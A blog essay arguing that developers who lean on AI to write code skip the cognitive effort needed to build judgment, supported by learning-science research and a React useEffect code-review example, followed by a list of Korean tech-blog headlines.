There’s a saying: “Working for 10 years doesn’t give you 10 years of experience if you’re just repeating the same 1 year of experience 10 times.” It describes someone whose years stack up while their skills stay flat — where a 10-year developer and a 3-year developer are barely distinguishable in judgment.

This phenomenon existed long before AI arrived. But now that AI can take over the pain of writing code, falling into that loop of repeating the same one year of experience for a decade has become incomparably easier than before.

This AI dependency is a new version of an old problem: the developer who stops growing.

In a previous post, When AI Writes the Code, a Developer’s True Capability Is Revealed, I argued that the core competencies required of developers won’t change much in the AI era.

In this post, I want to ask a more fundamental question: why does depending on AI actually make it harder to use AI well? And what does neuroscience have to say about this?

The Paradox: You Need to Know Code to Use AI Well

What does it look like in practice to judge the quality of AI’s output? Plenty of people can already tell AI “build me this.”

But far fewer can look at what AI produced and say specifically: “this structure is brittle to change,” “this interface has two responsibilities,” “this level of abstraction doesn’t fit the current complexity of the project.” And the ability to make those specific critiques and corrections is exactly what separates using AI well from being dragged along by it.

That ability comes from a sense of what “good code” looks like. The feeling a seasoned developer gets when looking at code — that vague “something feels off” — is formed through countless failures, debugging sessions, and refactors. It isn’t the kind of thing you can acquire purely through theory. It’s closer to intuition. This intuition only develops when a developer has personally suffered through bad structure, personally built good abstractions, and developed a feel for “this level is about right.”

This isn’t just about “humans still need to read code,” as I mentioned in the previous post. Even from the pure goal of using AI effectively, deep understanding of code is a non-negotiable prerequisite. Learning to use AI and learning code patterns aren’t competing alternatives — the latter is the foundation of the former. No matter how easy AI’s interface becomes, AI cannot grow your eye for judging the quality of its output.

To put it in one sentence: the developer who can best leverage AI is the developer who can evaluate code without AI. And if you only rely on AI, that evaluative judgment never develops.

Neuroscience shows this isn’t just intuition.

The Brain Doesn’t Remember What Comes Easy

To say you’ve truly “learned” something, it must be stored in long-term memory. If you understand it momentarily and forget it days later, that’s closer to consumption than learning.

Developers have probably had this experience: you read about a design pattern in a blog post, feel like you understood it completely — then a week later, when you run into a similar problem, you can’t remember a thing. Meanwhile, a pattern you struggled through and implemented yourself in a project stays vividly with you months later. This difference isn’t just individual variation; it stems from how the brain stores memories.

The process of forming long-term memory is a bit at odds with our intuition. Things we processed with difficulty and struggle tend to stick better than things we understood easily and smoothly.

UCLA cognitive psychologist Robert Bjork explained this with the concept of “desirable difficulties.” Bjork argued that when learning involves an appropriate level of challenge and resistance, short-term performance slows down — but long-term retention and transfer actually improve.

One of the key mechanisms Bjork identified is retrieval practice. Practicing actively recalling something is far more effective for long-term memory formation than re-reading the same material.

Roediger and Karpicke’s 2006 study shows this quantitatively.

The experiment split students into two groups. One group repeatedly read the same material; the other read it and then practiced recalling the content themselves. Five minutes after the test, the re-reading group scored higher. But when retested a week later, the retrieval practice group’s retention was about 50% higher.

What does this tell us? Passively receiving information and actively retrieving it may look similar in the short term, but they produce entirely different effects over time.

This difference is also confirmed at the level of brain activation. The group that actively recalled what they learned showed strengthened connectivity between the hippocampus and prefrontal cortex, and increased activation in the sensorimotor network and insular cortex.

The hippocampus is the key region for forming new memories, and the prefrontal cortex handles higher-order thinking and decision-making. When both regions activate simultaneously and communicate closely, it means the brain isn’t just storing information — it’s weaving it together with context.

The group that passively listened to lectures, by contrast, showed primarily activation of the connection between the hippocampus and the fusiform gyrus. The fusiform gyrus handles visual processing, particularly pattern recognition. In other words, a brain in passive learning mode is essentially watching information rather than processing it.

Put simply: the harder your brain works to take in and process something, the more durably it gets stored. Information received effortlessly disappears just as effortlessly.

One caveat: this doesn’t mean “harder is always better.” What Bjork emphasizes is desirable difficulty — challenges that are within reach of your current abilities. Too easy and there’s not enough load for it to stick; too hard and you’re just left with frustration. The most effective learning comes from solving appropriately difficult problems under your own power. Remember this point — we’ll come back to it when we talk about how to use AI.

The Generation Effect and the Illusion of Fluency

The “generation effect” from Slamecka and Graf’s classic 1978 study deserves mention here too. Participants were split into two groups. One group was shown complete word pairs — for example, “hot–cold” — as-is. The other group was given a prompt like “hot–co___” and had to complete the word themselves. The difference was just filling in a few letters, yet the results were quite different: the group that filled in those letters themselves showed meaningfully higher retention.

The neuroscience behind this difference makes it more interesting. When you generate information yourself, the brain’s semantic processing regions, retrieval pathways, and executive control areas all activate simultaneously. The more brain regions involved at once, the richer the memory encoding, and the more pathways available later for retrieval. Passively reading completed information, by contrast, mainly activates recognition networks — so the encoding is comparatively shallow.

There’s a trap to watch out for here: what cognitive psychology calls the “illusion of fluency.” The feeling that you can process information easily leads to the mistaken belief that you’ll remember it well.

Reading a well-written, clear piece feels like understanding — but actual retention isn’t as high as that feeling suggests. The re-reading group in Bjork’s study scoring better right after is the same phenomenon: feels like mastery in the moment, but it doesn’t last.

How the Ability to Judge Code Gets Built

The desirable difficulties and generation effect described above are general learning principles. To understand how they specifically operate in coding, we first need to look at what form coding judgment takes in the brain.

A significant part of what we call coding skill is procedural memory — memory of “how to do something.” Like riding a bike, playing an instrument, or typing: once embodied, it executes automatically without conscious recall.

In coding, procedural memory shows up as: the solution pattern that naturally surfaces when you see a certain type of problem; the gut feeling that “something’s off here” when reading code; the instinctive sense of where to draw the boundary when structuring a design; the eye that spots in an instant where refactoring is needed.

These are a completely different type of memory from the explicit knowledge you get from reading a textbook. Knowing how to list the SOLID principles and being able to detect a Single Responsibility violation the moment you see code — these are different types of knowledge handled by different brain regions.

Three Stages of Procedural Memory Formation

Anderson’s Adaptive Control of Thought model describes procedural memory formation in three stages.

The first is the cognitive stage. Everything is executed consciously, step by step. Think back to when you first learned to code — how you had to think through each part of a for loop: initial value, condition, increment. At this stage, a significant portion of working memory is consumed by this process.

The second is the associative stage. Individual procedures start to integrate. You can execute the for loop, array access, and conditional branching as a single flow. Mistakes decrease and recognition speeds up.

The third is the autonomous stage. Many things execute automatically, consuming almost no working memory. Just as a seasoned developer writing filtering logic doesn’t consciously think about for loop syntax, the pattern itself is auto-recognized as a single unit. A developer who reaches this stage doesn’t spend working memory on syntax or basic patterns — freeing that capacity for design judgment and structural thinking.

The critical point is that these stages only progress through repeated practice. Moving from the cognitive to the associative stage requires personally putting load on the brain by solving the same types of problems repeatedly. Moving from the associative to the autonomous stage requires even more repetition.

The brain’s basal ganglia and cerebellum play key roles in this process. The basal ganglia handles habit formation and procedural learning; the cerebellum aids in the refinement and automation of action.

Through repeated practice, the synaptic connections in these regions are continuously strengthened — a process called long-term potentiation. As these connections strengthen, execution of a given procedure becomes faster and more accurate, eventually happening automatically without conscious effort.

When this process advances far enough, neural efficiency emerges. An expert’s brain activates fewer regions to perform the same task than a novice’s — one of the most consistently confirmed findings in neuroscience research. Doing less while producing better results: that’s roughly the neurological reality behind the abstract concept we call intuition.

So the ability to make quick, sound judgments without conscious reasoning is the product of enormous repetition and struggle — and there are no shortcuts in this process.

This is similar to physical training. To build strength, an athlete has to load the muscle. Lift something appropriately heavy — not too light, not too heavy — and the muscle undergoes micro-damage and grows, until heavier weights become possible. The brain works the same way. Growth happens when you wrestle directly with the edges of your current ability.

Experts Can Pack More into a Single Chunk

Chunking is another essential concept when explaining expertise in neuroscience.

Human working memory is limited to about 3–4 chunks — and that limit is the same for novices and experts. The number of working memory slots can’t be expanded through training.

So where does the difference between an expert and a novice come from? The answer is that the amount of information that can fit in a single chunk differs.

Chase and Simon’s study of chess experts demonstrates this. Researchers showed master and novice chess players a plausible mid-game board position for 5 seconds, then had them recreate it from memory. Masters reconstructed far more piece positions accurately. That much could be explained by “better memory.”

But the decisive contrast experiment came when pieces were placed randomly: the difference in reconstruction ability between masters and novices nearly disappeared. What masters had memorized wasn’t individual piece positions — it was meaningful patterns. Recognizing something like “a typical Sicilian Defense middle-game setup” as a single chunk allowed the same 3–4 working memory slots to hold vastly more information.

The Sicilian Defense is a famous counter-opening responding to White's aggressive opening

The same mechanism operates in coding. A skilled developer doesn’t process a for loop, array access, and conditional branch as separate pieces of information. They compress it into a single chunk: “filtering pattern.” They see try-catch, error type branching, and logging as a single chunk: “error handling pattern.”

So when looking at the same code, there’s more working memory left over — and that surplus can go toward higher-level judgments: “Is this function’s scope of responsibility too wide?” “Is this dependency direction right?” These structural questions can receive cognitive resources.

How are these chunks formed? By writing code yourself, debugging, refactoring — repeatedly encountering the same patterns until the brain starts grouping them into a single unit. Recent research has confirmed that the prefrontal cortex and basal ganglia circuitry work together in this process.

Knowing a pattern and having a pattern embodied are different things. The former is explicit memory; the latter is procedural memory. You need the latter to quickly catch structural problems in a code review.

The difference between the two shows up starkly in real work. Someone who can answer “why does useEffect need a cleanup function?” with textbook perfection might still miss the problem when they see a component like this in a code review:

function useNotificationCount({ userId }: { userId: string }) {
  const [count, setCount] = useState(0);

  useEffect(() => {
    const interval = setInterval(async () => {
      const notifications = await fetchNotifications(userId);
      setCount(notifications.unread);
    }, 5000);
  }, []);

  return count;
}

There are two problems here. Without clearInterval, the interval keeps running after the component unmounts. And with userId missing from the dependency array, the component keeps polling the previous user’s notifications even after userId changes.

They know as explicit knowledge that “useEffect should return a cleanup function and the dependency array must be filled correctly” — but the procedural memory that makes you reflexively sense “interval isn’t being cleaned up here” and “userId isn’t in deps” when you look at the code hasn’t formed. That intuition only develops in someone who has personally encountered a stale closure bug, debugged an interval still alive after unmount, and traced the cause.

To be clear, most studies cited here were conducted in general learning contexts, not coding specifically. There are limits to directly applying these findings to coding as a specialized cognitive activity. But desirable difficulties, the generation effect, and the principles of procedural memory formation are closer to general features of human cognition than domain-specific rules — and there’s currently no basis to treat coding as an exception.

AI Interferes with This Process

When you hand implementation to AI, you skip the process of personally thinking through and writing code. What variable to name it, what order to unpack this logic, how to define this function’s interface, where to handle errors. These small but recurring judgment calls are actually the core process of internalizing code patterns — and the moment AI takes over that process, the cognitive load on your brain drops sharply.

AI Takes Over the Essential Load Too

Reduced cognitive load isn’t inherently bad. According to cognitive load theory, what matters in learning is the type of load. Sweller divided cognitive load into three kinds: intrinsic load from the complexity of the task itself; extraneous load from poor learning design; and germane load, which directly supports schema building.

If what AI reduces is extraneous load — writing boilerplate, correcting syntax errors — it can actually help learning. But if AI also reduces germane load, the opportunity for the brain to build schemas disappears entirely.

The problem is that in practice, it’s hard to cleanly separate these two types of load. When you tell AI “implement this function,” AI doesn’t just write the boilerplate — it makes the design decisions for the core logic too: what data structure to use, what order to process things in, how to handle error cases. These judgments are exactly what constitutes germane load. Delegate all of this to AI and almost nothing is left for the brain.

From the procedural memory perspective: when AI handles implementation, less time is spent struggling through code directly in the cognitive stage — so the transition to the associative stage is delayed, and reaching the autonomous stage becomes harder.

The same applies to chunking. Without personally constructing and combining patterns, you can recognize individual patterns in the completed code you read, but you lack the experience of compressing them into your own chunks. It’s like reading chess theory books without ever playing a real game.

For junior developers in particular, this can be severe. When many patterns are still in the cognitive stage and AI lets you skip that stage entirely, you may be turning out results quickly on the surface while nothing in the way of procedural memory is forming inside.

AI writing code for you is close to the generation effect experiment’s condition of reading a completed word pair. The code is right in front of you, so it feels like you understood it. You can nod along, following the logic: “oh, so that’s how you do it.”

But because you didn’t generate it yourself, it doesn’t get deeply imprinted in memory. Next time you encounter a similar problem, you’re likely to hit “I know I’ve seen this somewhere but can’t remember” — the illusion of fluency at work again.

Of course, reading AI-generated code isn’t entirely passive. Parsing the intent and tracing the execution flow does require some cognitive effort.

But research has confirmed that the level of brain activation when reading code decreases as developers become more skilled — the phenomenon called neural efficiency, which means experts process code faster with fewer cognitive resources. Processing efficiently also means that much less cognitive load.

In other words, a skilled developer reading AI output doesn’t put nearly as much load on the brain as you might think.

And for a novice developer: even if reading code does generate load, that load is spent on understanding the code, which is qualitatively different from the load generated in the process of producing it. Reading alone may simply not generate enough load to embody a new pattern.

Some readers might wonder whether deeply analyzing and reviewing AI-generated code is sufficient learning on its own. There’s something to that.

But there’s a trap: what neuroscience identifies as the core of learning — prediction and feedback — is missing. When you write code yourself, you’re constantly predicting what comes next, receiving feedback on whether it works, and modifying synapses accordingly. Reading already-completed AI code, by contrast, is post-hoc interpretation with the prediction step removed.

It’s like solving a math problem with the answer key open beside you. You can follow the solution and understand it, but in an actual exam facing a blank page, the pen doesn’t move — because the circuit for recognition and the circuit for retrieval are different. The total accumulated pain of having decided the details yourself determines the density of the chunk.

The Friction Keeping You on the Growth Path Is Gone

Let’s step back and look at the bigger picture. The problem of stopped growth existed before AI. Let’s examine what “repeating one year of experience 10 times” actually looks like in practice.

The developer who only copies and pastes answers from Stack Overflow. The developer who knows their framework’s API but doesn’t know what’s happening underneath. The developer who’s been writing the same CRUD code for five years and only accumulating seniority. What these people have in common is that they didn’t put sufficient load on their brains.

When copied Stack Overflow code runs, they stop there. They don’t ask why it works, whether there was another approach, or what tradeoffs this pattern carries. Working only above the abstractions a framework provides means the chunks for the underlying mechanisms never form. Repeating the same code patterns does lead to the autonomous stage — but when the range of patterns you’ve automated is narrow, you’re helpless in front of a new problem.

The mechanism operating in all these cases is the same: avoid cognitive load, procedural memory doesn’t form, chunks don’t get built, growth stops. The path to stopped growth was already wide open before AI.

But AI has dramatically reduced the friction on that path. In the Stack Overflow era, you still had to search, compare multiple answers, and adapt them to your situation. That process imposed at least minimal cognitive load. Even relying on a framework, you had time to read the docs and work through examples.

AI, given the context, produces complete code immediately. No searching, no comparing, no adapting. The distance to “working code” has become nearly zero.

From a productivity perspective, this is a revolution. But from a learning perspective, it means fewer opportunities for the brain to be loaded. Before AI, even choosing the “easy path” involved some friction. AI has eliminated even that friction. Sliding into the path of stopped growth is now far easier than before.

This problem doesn’t spare you just because you’re senior. The shape of it is different, that’s all. It’s worse for junior developers, who haven’t yet formed sufficient procedural memory — AI letting you skip that formation process means building career years on top of a foundation of weak fundamentals.

It’s like asking someone still learning to drive to evaluate the decisions of a self-driving car. Someone who has never held the steering wheel will struggle to detect a self-driving mistake.

But seniors aren’t off the hook either. Technology keeps changing, and every time a new language, framework, or paradigm appears, you encounter new patterns your existing chunks can’t handle.

To embody these new patterns, you have to start again from the cognitive stage. Being senior doesn’t exempt you from that. Everyone is a beginner when learning something new.

The advantage of a senior is being able to form new chunks faster by connecting them to existing abstractions — “this is similar to the middleware pattern on the backend.” But even that connection is discovered by actually getting hands-on with the code, not automatically discovered by reading AI output.

Regardless of seniority, you need time to personally think through problems and touch code in the AI era. So how do you create that time while still using AI?

How to Load the Brain

The core principle for growth comes down to one thing: you have to load the brain.

Drafting your own design before handing anything to AI is an intentional application of the generation effect. Because you’ve already formed your own answer, you’re not passively consuming AI output — you’re comparing and evaluating. In the process of judging “what’s different from my design,” “is AI’s choice better or is mine,” the brain’s semantic processing and executive control regions activate simultaneously. The same mechanism shown in generation effect research.

Taking code review seriously works the same way. Waving it through with “it works, so pass” puts almost no load on the brain. But the moment you consciously ask “why this structure?” or “if we had to modify this code six months from now, where would the problem be?”, the brain starts actively using working memory. That it’s annoying and time-consuming is exactly the point — that annoyance is what Bjork called desirable difficulty.

Carving out time to actually write code yourself is irreplaceable from the perspective of procedural memory formation. As Anderson’s model shows, moving from the cognitive to the associative stage, and from the associative to the autonomous stage, requires repeated practice. Reading doesn’t trigger these transitions.

That’s why 30 minutes of struggling through code yourself leaves it more deeply ingrained in memory than code AI generated in 3 seconds. When you’re stuck and making no progress, asking AI for a hint is a valid strategy — but the key is getting only the minimum information, not the whole answer. Getting the answer handed to you versus working it out yourself from a hint puts entirely different loads on the brain.

This is precisely the point of desirable difficulty: too easy and no load is applied; too hard and only frustration remains. Use AI to lower the barrier to entry, while making the core judgment calls yourself — that’s how you maintain the right level of difficulty.

What all these practices have in common is that they’re all annoying. From a pure productivity standpoint, they’re inefficient. They feel like taking the long way around something AI could handle quickly.

Yes, it'll be annoying and stressful — but that kind of stress is necessary.
Great workout

The optimal strategies for production and learning are different. AI is an excellent tool for production, but limited as a tool for learning. And in the long run, what remains in the brain determines the quality of your code reviews, the accuracy of your design judgment, and — paradoxically — how well you can use AI.

When these exercises accumulate, they build an eye. An eye that, the moment it sees AI-generated code, senses what’s wrong and where a better choice could be made. That’s the concrete substance of the “ability to judge and correct output” I described at the start.

Pain Is Not a Choice — It’s a Condition

The concern in this post isn’t “AI is bad.” Developers whose growth stopped existed before AI, and they’ll exist without it.

The core point is a structural constraint built into how the brain works: avoid cognitive load, and growth stops. AI is simply a tool that has made that avoidance unprecedentedly easy.

I think this is a structural problem, not a matter of individual willpower. Without consciously designing a structure in which you can still grow while using AI, drifting toward the comfortable option is human nature.

The brain is fundamentally wired to conserve energy. If the same result can be achieved with less effort, the brain will naturally choose that. This isn’t weakness of will — it’s how the brain is built.

That’s why the real question shouldn’t be “to use AI or not” but “how do I load the brain while using AI?” There’s a vast difference between working comfortably and working only comfortably.

Pain is something we want to avoid — but from the perspective of growth, it’s less of a choice and more of a condition. No matter how far AI advances, this condition doesn’t change. Not as long as the way the brain works doesn’t change.

And in an era where those who use AI well survive, the paradox is that the power to do so comes from the ability to judge without AI.

개발자 어썸블로그

프로그램 = 데이터구조 + 알고리즘

기술 뉴스 #292 : 26-04-16

웹개발 관련

그 밖의 개발 관련

인프라 관련

AI 관련

볼만한 링크

IT 업계 뉴스

프로젝트

버전 업데이트

의존성 선점

사랑하는데 드는 시간 , AI가 만들어 줄까?

서로 연결되는 엔지니어링 표현 (문제와 해법 연결하기)

그냥 파파고 쓰면 되잖아!

Seoul | Claude Code FDE Night 2026 세미나 후기

2026 Claude Code FDE Night

1부. The FDE Playbook — 실리콘밸리의 FDE 운영법

Q&A

2부. Fireside Chat #1

Q. 스페이스와이는 FDE 직군을 어떻게 정의하는가?

Q. 사내 FDE로서 본인의 역할을 어떻게 정의하는가?

Q. 최근 몇 달간 "하입"이라 시도했지만 결국 버리게 된 것, 반대로 남긴 것은?

Q. 최근 반년간 의사결정의 흐름, 지금 4월 시점의 경로는?

Q. FDE의 젊음 · 조직 경험 부족 · AI Native 제품 운영

Q. 지식을 쌓았다는 것이 기술적으로 어떻게 구현되었는가?

Q. 제품 자체가 커스터마이징되기 쉽게 만드는 것 — 두 분의 경험은?

Q. 제조업에서 AX가 특히 잘 적용되는 부분이 있는가?

3부. Fireside Chat #2

Q. 전사 비개발직군 250명을 Claude Code로 AX 전환하는 전략은?

Q. 솔루션 아키텍트와 FDE의 차이는?

Q. Claude Code 전환의 성과 평가는 어떻게 책정하는가?

Q. Claude Code 전환 속도가 가장 빨랐던 직군은?

Q. 채널톡은 FDE를 어떤 구성으로 고객사에 투입하는가?

Q. 인하우스 FDE 팀을 만들려는 회사에 어떤 조언이 있는가?

Q. 최근 힙한 기술 대응은 어떻게 하고 있는가?

Q. 폐쇄망 / SAP ERP 등 엔터프라이즈 기간계 연동 경험은?

Q. 채널톡의 AX 전환에 대해 — 엑스퍼트(파트너)와의 커뮤니케이션은?

Q. 개인 생산성의 합이 조직의 속도를 대변하지 않는 문제 — 의사결정 품질을 높이는 AX 전략은?

Q. AX를 하다 보면 조직 구조 자체의 변화를 맞이하게 되는데, 워크스피어 내부에서도 그런 일이 있었는가?

참고 링크

한글 전용 하의 한자 교육에 관하여

한글 전용 하의 한자 교육에 관하여

교육의 디폴트는 가르치지 않는다이다

국한문혼용체의 이점과 현실론

한자 혼용 없는 한자 교육의 역설

취향과 정책의 구분

QueryDSL을 이용한 Batch Update 성능 개선

개요#

JPA Dirty Checking의 성능 이슈#

QueryDSL Batch Update 구현#

구현 코드 예시#

Insert와의 구조적 차이#

Batch 동작 검증 방법#

성능 비교#

성능 측정 코드#

성능 측정 결과#

결론#

연산 능력 테스트가 전설적인 게임이 되기까지... 알렉세이 파지트노프(Алексей Пажитнов)

대만 프로그래머 장관, 오드리 탕(Audrey Tang, 唐鳳)

매끄러운 협업은 키치에 가깝다

[Swift][Network] 경량화된 Encodable 기반 파라미터 타입

배경

사용 방식

구현

구현 범위

DTO와의 관계

정리

[Swift] private protocol로 파일 내부 공통 구현 숨기기

왜 private protocol인가

extension ProcessorPlugin의 기본 구현

어떻게 정리할 수 있나

Before / After

다른 방법과 비교해보면

Base Class

Closure 기반 래퍼

사용할 때 주의할 점

공개 인터페이스를 기준으로 테스트 진행

특정 타입만 예외 처리가 필요한 경우

언제 쓰면 좋은가

왜 `private protocol`인가

`extension ProcessorPlugin`의 기본 구현